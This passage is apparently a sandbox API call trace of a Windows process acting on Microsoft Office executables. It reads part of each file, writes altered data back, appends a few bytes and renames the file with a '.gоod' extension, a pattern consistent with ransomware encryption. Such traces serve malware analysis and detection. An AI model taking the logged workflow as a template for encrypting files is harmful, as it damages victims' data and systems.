Office\\root\\Office16\\ONENOTE.EXE", lpFilePart=0x0) returned 0x3b [0161.980] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e7e0) returned 1 [0161.980] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ONENOTE.EXE" (normalized: "c:\\program files\\microsoft office\\root\\office16\\onenote.exe"), fInfoLevelId=0x0, lpFileInformation=0x35724c0 | out: lpFileInformation=0x35724c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcb4ae41a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xdb652e29, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xdcec30aa, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x205e48)) returned 1 [0162.082] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e7a0) returned 1 [0162.082] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ONENOTE.EXE", nBufferLength=0x105, lpBuffer=0x1f59e1c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ONENOTE.EXE", lpFilePart=0x0) returned 0x3b [0162.082] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e6e0) returned 1 [0162.082] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ONENOTE.EXE" (normalized: "c:\\program files\\microsoft office\\root\\office16\\onenote.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7dc [0162.082] GetFileType (hFile=0x7dc) returned 0x1 [0162.083] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e650) returned 1 [0162.083] GetFileType (hFile=0x7dc) returned 0x1 [0162.083] SetFilePointer (in: hFile=0x7dc, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f59e838*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f59e838*=0) returned 0x1000 [0162.083] ReadFile (in: hFile=0x7dc, lpBuffer=0x35f0fe8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59e808, lpOverlapped=0x0 | out: lpBuffer=0x35f0fe8*, lpNumberOfBytesRead=0x1f59e808*=0x1000, lpOverlapped=0x0) returned 1 [0162.084] CloseHandle (hObject=0x7dc) returned 1 [0162.084] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ONENOTE.EXE", nBufferLength=0x105, lpBuffer=0x1f59e1c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ONENOTE.EXE", lpFilePart=0x0) returned 0x3b [0162.084] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e6e0) returned 1 [0162.084] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ONENOTE.EXE" (normalized: "c:\\program files\\microsoft office\\root\\office16\\onenote.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7dc [0162.085] GetFileType (hFile=0x7dc) returned 0x1 [0162.085] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e650) returned 1 [0162.085] GetFileType (hFile=0x7dc) returned 0x1 [0162.085] SetFilePointer (in: hFile=0x7dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f59e838*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f59e838*=0) returned 0x205e48 [0162.085] WriteFile (in: hFile=0x7dc, lpBuffer=0x35f2260*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f59e728, lpOverlapped=0x0 | out: lpBuffer=0x35f2260*, lpNumberOfBytesWritten=0x1f59e728*=0x10, lpOverlapped=0x0) returned 1 [0162.087] CloseHandle (hObject=0x7dc) returned 1 [0162.087] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ONENOTE.EXE", nBufferLength=0x105, lpBuffer=0x1f59e1c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ONENOTE.EXE", lpFilePart=0x0) returned 0x3b [0162.087] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e6e0) returned 1 [0162.087] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ONENOTE.EXE" (normalized: "c:\\program files\\microsoft office\\root\\office16\\onenote.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7dc [0162.087] GetFileType (hFile=0x7dc) returned 0x1 [0162.087] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e650) returned 1 [0162.087] GetFileType (hFile=0x7dc) returned 0x1 [0162.087] ReadFile (in: hFile=0x7dc, lpBuffer=0x35f4500, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59e7b8, lpOverlapped=0x0 | out: lpBuffer=0x35f4500*, lpNumberOfBytesRead=0x1f59e7b8*=0x1000, lpOverlapped=0x0) returned 1 [0162.928] CloseHandle (hObject=0x7dc) returned 1 [0162.928] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ONENOTE.EXE", nBufferLength=0x105, lpBuffer=0x1f59e1c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ONENOTE.EXE", lpFilePart=0x0) returned 0x3b [0162.928] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e6e0) returned 1 [0162.929] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ONENOTE.EXE" (normalized: "c:\\program files\\microsoft office\\root\\office16\\onenote.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7dc [0162.929] GetFileType (hFile=0x7dc) returned 0x1 [0162.929] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e650) returned 1 [0162.929] GetFileType (hFile=0x7dc) returned 0x1 [0162.929] WriteFile (in: hFile=0x7dc, lpBuffer=0x32a7058*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f59e868, lpOverlapped=0x0 | out: lpBuffer=0x32a7058*, lpNumberOfBytesWritten=0x1f59e868*=0x1010, lpOverlapped=0x0) returned 1 [0162.929] CloseHandle (hObject=0x7dc) returned 1 [0162.929] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ONENOTE.EXE", nBufferLength=0x105, lpBuffer=0x1f59e310, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ONENOTE.EXE", lpFilePart=0x0) returned 0x3b [0162.929] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ONENOTE.EXE.gоod", nBufferLength=0x105, lpBuffer=0x1f59e310, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ONENOTE.EXE.gоod", lpFilePart=0x0) returned 0x40 [0162.929] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e7a0) returned 1 [0162.929] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ONENOTE.EXE" (normalized: "c:\\program files\\microsoft office\\root\\office16\\onenote.exe"), fInfoLevelId=0x0, lpFileInformation=0x1f59e880 | out: lpFileInformation=0x1f59e880*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcb4ae41a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xdb652e29, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x5d549f07, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x205e58)) returned 1 [0162.929] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e760) returned 1 [0162.929] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ONENOTE.EXE" (normalized: "c:\\program files\\microsoft office\\root\\office16\\onenote.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ONENOTE.EXE.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\onenote.exe.gоod")) returned 1 [0162.930] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ONENOTE.VisualElementsManifest.xml", nBufferLength=0x105, lpBuffer=0x1f59e310, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ONENOTE.VisualElementsManifest.xml", lpFilePart=0x0) returned 0x52 [0162.930] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e7e0) returned 1 [0162.930] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ONENOTE.VisualElementsManifest.xml" (normalized: "c:\\program files\\microsoft office\\root\\office16\\onenote.visualelementsmanifest.xml"), fInfoLevelId=0x0, lpFileInformation=0x34ecc30 | out: lpFileInformation=0x34ecc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeddf70e2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeddf70e2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x1c884dc0, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x156)) returned 1 [0162.930] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e7a0) returned 1 [0162.930] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ONENOTE.VisualElementsManifest.xml", nBufferLength=0x105, lpBuffer=0x1f59e170, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ONENOTE.VisualElementsManifest.xml", lpFilePart=0x0) returned 0x52 [0162.930] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e690) returned 1 [0162.930] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ONENOTE.VisualElementsManifest.xml" (normalized: "c:\\program files\\microsoft office\\root\\office16\\onenote.visualelementsmanifest.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7dc [0162.930] GetFileType (hFile=0x7dc) returned 0x1 [0162.931] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e600) returned 1 [0162.931] GetFileType (hFile=0x7dc) returned 0x1 [0162.931] GetFileSize (in: hFile=0x7dc, lpFileSizeHigh=0x1f59e838 | out: lpFileSizeHigh=0x1f59e838*=0x0) returned 0x156 [0162.931] ReadFile (in: hFile=0x7dc, lpBuffer=0x34ed0b0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59e768, lpOverlapped=0x0 | out: lpBuffer=0x34ed0b0*, lpNumberOfBytesRead=0x1f59e768*=0x156, lpOverlapped=0x0) returned 1 [0162.931] CloseHandle (hObject=0x7dc) returned 1 [0163.148] SleepEx (dwMilliseconds=0x5, bAlertable=0) returned 0x0 [0163.441] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ONENOTE.VisualElementsManifest.xml", nBufferLength=0x105, lpBuffer=0x1f59e170, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ONENOTE.VisualElementsManifest.xml", lpFilePart=0x0) returned 0x52 [0163.441] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e690) returned 1 [0163.442] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ONENOTE.VisualElementsManifest.xml" (normalized: "c:\\program files\\microsoft office\\root\\office16\\onenote.visualelementsmanifest.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7fc [0163.443] GetFileType (hFile=0x7fc) returned 0x1 [0163.443] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e600) returned 1 [0163.443] GetFileType (hFile=0x7fc) returned 0x1 [0163.443] WriteFile (in: hFile=0x7fc, lpBuffer=0x34e4758*, nNumberOfBytesToWrite=0x160, lpNumberOfBytesWritten=0x1f59e678, lpOverlapped=0x0 | out: lpBuffer=0x34e4758*, lpNumberOfBytesWritten=0x1f59e678*=0x160, lpOverlapped=0x0) returned 1 [0163.443] CloseHandle (hObject=0x7fc) returned 1 [0163.444] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ONENOTE.VisualElementsManifest.xml", nBufferLength=0x105, lpBuffer=0x1f59e310, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ONENOTE.VisualElementsManifest.xml", lpFilePart=0x0) returned 0x52 [0163.444] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ONENOTE.VisualElementsManifest.xml.gоod", nBufferLength=0x105, lpBuffer=0x1f59e310, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ONENOTE.VisualElementsManifest.xml.gоod", lpFilePart=0x0) returned 0x57 [0163.444] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e7a0) returned 1 [0163.444] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ONENOTE.VisualElementsManifest.xml" (normalized: "c:\\program files\\microsoft office\\root\\office16\\onenote.visualelementsmanifest.xml"), fInfoLevelId=0x0, lpFileInformation=0x1f59e880 | out: lpFileInformation=0x1f59e880*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeddf70e2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeddf70e2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x5da0ebc4, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x160)) returned 1 [0163.444] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e760) returned 1 [0163.444] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ONENOTE.VisualElementsManifest.xml" (normalized: "c:\\program files\\microsoft office\\root\\office16\\onenote.visualelementsmanifest.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ONENOTE.VisualElementsManifest.xml.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\onenote.visualelementsmanifest.xml.gоod")) returned 1 [0163.445] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ONENOTEM.EXE", nBufferLength=0x105, lpBuffer=0x1f59e310, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ONENOTEM.EXE", lpFilePart=0x0) returned 0x3c [0163.445] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e7e0) returned 1 [0163.445] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ONENOTEM.EXE" (normalized: "c:\\program files\\microsoft office\\root\\office16\\onenotem.exe"), fInfoLevelId=0x0, lpFileInformation=0x34e5a30 | out: lpFileInformation=0x34e5a30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcb4fa8f4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xcb4fa8f4, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xcb4fa8f4, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2a0b0)) returned 1 [0163.445] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e7a0) returned 1 [0163.445] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ONENOTEM.EXE", nBufferLength=0x105, lpBuffer=0x1f59e1c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ONENOTEM.EXE", lpFilePart=0x0) returned 0x3c [0163.445] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e6e0) returned 1 [0163.445] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ONENOTEM.EXE" (normalized: "c:\\program files\\microsoft office\\root\\office16\\onenotem.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7fc [0163.446] GetFileType (hFile=0x7fc) returned 0x1 [0163.446] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e650) returned 1 [0163.446] GetFileType (hFile=0x7fc) returned 0x1 [0163.446] SetFilePointer (in: hFile=0x7fc, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f59e838*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f59e838*=0) returned 0x1000 [0163.446] ReadFile (in: hFile=0x7fc, lpBuffer=0x34e5e28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59e808, lpOverlapped=0x0 | out: lpBuffer=0x34e5e28*, lpNumberOfBytesRead=0x1f59e808*=0x1000, lpOverlapped=0x0) returned 1 [0163.447] CloseHandle (hObject=0x7fc) returned 1 [0163.447] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ONENOTEM.EXE", nBufferLength=0x105, lpBuffer=0x1f59e1c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ONENOTEM.EXE", lpFilePart=0x0) returned 0x3c [0163.447] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e6e0) returned 1 [0163.447] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ONENOTEM.EXE" (normalized: "c:\\program files\\microsoft office\\root\\office16\\onenotem.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7fc [0163.447] GetFileType (hFile=0x7fc) returned 0x1 [0163.447] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e650) returned 1 [0163.447] GetFileType (hFile=0x7fc) returned 0x1 [0163.447] SetFilePointer (in: hFile=0x7fc, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f59e838*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f59e838*=0) returned 0x2a0b0 [0163.448] WriteFile (in: hFile=0x7fc, lpBuffer=0x34e70b0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f59e728, lpOverlapped=0x0 | out: lpBuffer=0x34e70b0*, lpNumberOfBytesWritten=0x1f59e728*=0x10, lpOverlapped=0x0) returned 1 [0163.448] CloseHandle (hObject=0x7fc) returned 1 [0163.448] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ONENOTEM.EXE", nBufferLength=0x105, lpBuffer=0x1f59e1c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ONENOTEM.EXE", lpFilePart=0x0) returned 0x3c [0163.448] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e6e0) returned 1 [0163.448] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ONENOTEM.EXE" (normalized: "c:\\program files\\microsoft office\\root\\office16\\onenotem.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7fc [0163.449] GetFileType (hFile=0x7fc) returned 0x1 [0163.449] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e650) returned 1 [0163.449] GetFileType (hFile=0x7fc) returned 0x1 [0163.449] ReadFile (in: hFile=0x7fc, lpBuffer=0x34e9360, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59e7b8, lpOverlapped=0x0 | out: lpBuffer=0x34e9360*, lpNumberOfBytesRead=0x1f59e7b8*=0x1000, lpOverlapped=0x0) returned 1 [0163.505] CloseHandle (hObject=0x7fc) returned 1 [0163.505] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ONENOTEM.EXE", nBufferLength=0x105, lpBuffer=0x1f59e1c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ONENOTEM.EXE", lpFilePart=0x0) returned 0x3c [0163.505] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e6e0) returned 1 [0163.505] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ONENOTEM.EXE" (normalized: "c:\\program files\\microsoft office\\root\\office16\\onenotem.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7fc [0163.505] GetFileType (hFile=0x7fc) returned 0x1 [0163.505] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e650) returned 1 [0163.505] GetFileType (hFile=0x7fc) returned 0x1 [0163.505] WriteFile (in: hFile=0x7fc, lpBuffer=0x330bf38*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f59e868, lpOverlapped=0x0 | out: lpBuffer=0x330bf38*, lpNumberOfBytesWritten=0x1f59e868*=0x1010, lpOverlapped=0x0) returned 1 [0163.505] CloseHandle (hObject=0x7fc) returned 1 [0163.505] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ONENOTEM.EXE", nBufferLength=0x105, lpBuffer=0x1f59e310, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ONENOTEM.EXE", lpFilePart=0x0) returned 0x3c [0163.505] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ONENOTEM.EXE.gоod", nBufferLength=0x105, lpBuffer=0x1f59e310, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ONENOTEM.EXE.gоod", lpFilePart=0x0) returned 0x41 [0163.505] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e7a0) returned 1 [0163.506] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ONENOTEM.EXE" (normalized: "c:\\program files\\microsoft office\\root\\office16\\onenotem.exe"), fInfoLevelId=0x0, lpFileInformation=0x1f59e880 | out: lpFileInformation=0x1f59e880*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcb4fa8f4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xcb4fa8f4, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x5daa7503, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x2a0c0)) returned 1 [0163.506] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e760) returned 1 [0163.506] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ONENOTEM.EXE" (normalized: "c:\\program files\\microsoft office\\root\\office16\\onenotem.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ONENOTEM.EXE.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\onenotem.exe.gоod")) returned 1 [0163.836] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ORGCHART.EXE", nBufferLength=0x105, lpBuffer=0x1f59e310, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ORGCHART.EXE", lpFilePart=0x0) returned 0x3c [0163.837] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e7e0) returned 1 [0163.837] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ORGCHART.EXE" (normalized: "c:\\program files\\microsoft office\\root\\office16\\orgchart.exe"), fInfoLevelId=0x0, lpFileInformation=0x345a640 | out: lpFileInformation=0x345a640*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeddf70e2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xefcf5b24, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xefd42039, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xa4690)) returned 1 [0163.837] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e7a0) returned 1 [0164.063] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ORGCHART.EXE", nBufferLength=0x105, lpBuffer=0x1f59e1c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ORGCHART.EXE", lpFilePart=0x0) returned 0x3c [0164.063] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e6e0) returned 1 [0164.063] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ORGCHART.EXE" (normalized: "c:\\program files\\microsoft office\\root\\office16\\orgchart.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x63c [0164.065] GetFileType (hFile=0x63c) returned 0x1 [0164.065] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e650) returned 1 [0164.065] GetFileType (hFile=0x63c) returned 0x1 [0164.065] SetFilePointer (in: hFile=0x63c, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f59e838*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f59e838*=0) returned 0x1000 [0164.066] ReadFile (in: hFile=0x63c, lpBuffer=0x34ffb50, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59e808, lpOverlapped=0x0 | out: lpBuffer=0x34ffb50*, lpNumberOfBytesRead=0x1f59e808*=0x1000, lpOverlapped=0x0) returned 1 [0164.068] CloseHandle (hObject=0x63c) returned 1 [0164.068] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ORGCHART.EXE", nBufferLength=0x105, lpBuffer=0x1f59e1c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ORGCHART.EXE", lpFilePart=0x0) returned 0x3c [0164.068] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e6e0) returned 1 [0164.068] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ORGCHART.EXE" (normalized: "c:\\program files\\microsoft office\\root\\office16\\orgchart.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x63c [0164.068] GetFileType (hFile=0x63c) returned 0x1 [0164.068] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e650) returned 1 [0164.068] GetFileType (hFile=0x63c) returned 0x1 [0164.068] SetFilePointer (in: hFile=0x63c, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f59e838*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f59e838*=0) returned 0xa4690 [0164.068] WriteFile (in: hFile=0x63c, lpBuffer=0x3500dd8*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f59e728, lpOverlapped=0x0 | out: lpBuffer=0x3500dd8*, lpNumberOfBytesWritten=0x1f59e728*=0x10, lpOverlapped=0x0) returned 1 [0164.070] CloseHandle (hObject=0x63c) returned 1 [0164.070] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ORGCHART.EXE", nBufferLength=0x105, lpBuffer=0x1f59e1c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ORGCHART.EXE", lpFilePart=0x0) returned 0x3c [0164.070] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e6e0) returned 1 [0164.070] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ORGCHART.EXE" (normalized: "c:\\program files\\microsoft office\\root\\office16\\orgchart.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, 